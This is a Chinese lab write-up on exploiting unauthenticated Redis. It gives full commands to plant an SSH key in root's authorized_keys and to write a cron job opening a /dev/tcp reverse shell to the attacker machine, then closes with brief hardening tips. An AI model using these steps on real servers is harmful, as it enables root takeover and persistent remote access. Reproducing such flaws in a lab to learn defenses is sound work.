Redis未授权访问

Posted L0NMAR

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Redis未授权访问相关的知识,希望对你有一定的参考价值。

Redis

redis是一个key-value存储系统, 是一个高性能的key-value数据库 ,默认使用 6379 端口

环境安装:

环境 : redis v6.0.5

wget http://download.redis.io/releases/redis-3.2.11.tar.gz 
tar xzf redis-3.2.11.tar.gz
cd redis-3.2.11
make
 #make结束后,进入src目录:cd src,将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了 
cd src
cp redis-server /usr/bin
cp redis-cli /usr/bin
# 返回目录redis-3.2.11,将redis.conf拷贝到/etc/目录下:
cd ../
cp redis.conf /etc/
# 编辑etc中的redis配置文件redis.conf
vi /etc/redis.conf

去掉ip绑定,允许除本地外的主机远程登录redis服务

关闭保护模式,允许远程连接redis服务

# 使用/etc/目录下的reids.conf文件中的配置启动redis服务
redis-server /etc/redis.conf

systemctl start sshd命令启动ssh服务

至此,漏洞环境搭建完成, 此时的redis服务是可以以root用户身份远程免密码登录的

靶机 : 192.168.230.131 (centos7)

攻击机 : 192.168.230.128 (kali)

ps:

攻击机上也要装redis,步骤如上

可以把防火墙关掉systemctl stop firewalld.service 或者开放6379端口

攻击

到这发现一点问题,怎么扫都扫不出

索性把防火墙关了 systemctl stop firewalld.service

(顺便学习了一点防火墙的命令 https://www.cnblogs.com/heqiuyong/p/10460150.html )

nmap -A -p 1-9000 192.168.230.131 可以发现6379上有Redis服务

再用脚本仔细扫一下 nmap -p 6379 -script redis-info 192.168.230.131

redis-cli -h 192.168.230.131 尝试登录

无需认证即可登陆到Redis Server,并可执行命令。

免密登录

在在攻击机上生成公钥,私钥

ssh-keygen 后一路回车

cat /root/.ssh/id_rsa.pub 查看公钥内容

\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCq474noy8Jw7S3GGWXZtdfXob7QeoWxmZr7gEUUbBjI8/eeK1bkDa1F4t56yELLWKryF2s5zXP2YIwDas42SJUQ/vZaLdByNpnMGINOmPBz7Jh8zDrru/McDD00d+2sAa/kGe0trJ/DGoi5OK/8I6nxbghddFq0aQ9qfAliaY7lHzpwGuFFyQQeESL9rEb5pp2blfdbMxQC+cLAdexP8OT4cMO76tJ/C9cNi1No+cotm8V1eiJ3LZEHb1UYcL2nUC3TV5p2UKAFwaUHvlKGAe6xXeu8AJvfK3mH8xNaDXrNvzPQ2GV6yLRwtTPAuGi25FxxP4cCfhWIKlo9GFQas8I0t2w6W2EW/GQOzK2oQNmSuj1oqCch/tI63lKWUSHkRWOcMU0mqejzAAUm0VENrSpZ52qmD4Efj1kKRcC6ya2vWtjbNhRo4ozTuXVLiTKFfgvTmD5Rjb70z6i2nQM6mTuEqzcdHFFxAkKg88gHha9eFYv9Bl7mfNdEQVkYX/+/6s=\\n\\n

通过redis-cli登陆到受害机server 后,输入以下命令

set jjj "\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCq474noy8Jw7S3GGWXZtdfXob7QeoWxmZr7gEUUbBjI8/eeK1bkDa1F4t56yELLWKryF2s5zXP2YIwDas42SJUQ/vZaLdByNpnMGINOmPBz7Jh8zDrru/McDD00d+2sAa/kGe0trJ/DGoi5OK/8I6nxbghddFq0aQ9qfAliaY7lHzpwGuFFyQQeESL9rEb5pp2blfdbMxQC+cLAdexP8OT4cMO76tJ/C9cNi1No+cotm8V1eiJ3LZEHb1UYcL2nUC3TV5p2UKAFwaUHvlKGAe6xXeu8AJvfK3mH8xNaDXrNvzPQ2GV6yLRwtTPAuGi25FxxP4cCfhWIKlo9GFQas8I0t2w6W2EW/GQOzK2oQNmSuj1oqCch/tI63lKWUSHkRWOcMU0mqejzAAUm0VENrSpZ52qmD4Efj1kKRcC6ya2vWtjbNhRo4ozTuXVLiTKFfgvTmD5Rjb70z6i2nQM6mTuEqzcdHFFxAkKg88gHha9eFYv9Bl7mfNdEQVkYX/+/6s=\\n\\n"

(首尾要加换行符)

config set dir /root/.ssh

config set dbfilename authorized_keys

save

然后就可以登录到受害机

ssh -i id_rsa root@192.168.230.131

反弹shell

nc -lvp 4444 #监听4444端口

redis-cli -h 192.168.230.131  #登陆到redis数据库
set d "\\n\\n*/1  *  *  *  * /bin/bash -i>&/dev/tcp/192.168.230.128/4444 0>&1\\n\\n"  #意思是每隔一分钟,向192.168.230.128的4444端口反弹shell
config set dir /var/spool/cron  #设置工作目录
config set dbfilename root      #设置文件名,当前用户叫啥就得命名为啥,当前用户为root
save                            #保存成文件
 
#上面这几行命令的意思就是将 "\\n\\n*/1 * * * * * /bin/bash -i>&/dev/tcp/192.168.230.128/4444 0>&1\\n\\n" 这条命令写入test文件中,并且存放在/var/spool/cron目录下

别的getshell姿势

https://cloud.tencent.com/developer/article/1488184

https://www.freebuf.com/column/158065.html

参考

https://blog.csdn.net/qq_36119192/article/details/84620648

https://www.freebuf.com/vuls/162035.html

https://www.freebuf.com/mob/vuls/240060.html

防范

添加防火墙策略

绑定127.0.0.1,绑定到本地

以上是关于Redis未授权访问的主要内容,如果未能解决你的问题,请参考以下文章

关于redis未授权访问说法不正确的是

Redis 未授权访问缺陷可轻易导致系统被黑

修补--Redis未授权访问漏洞

Redis未授权访问漏洞复现与利用

Redis未授权访问漏洞复现与利用

Redis 未授权访问漏洞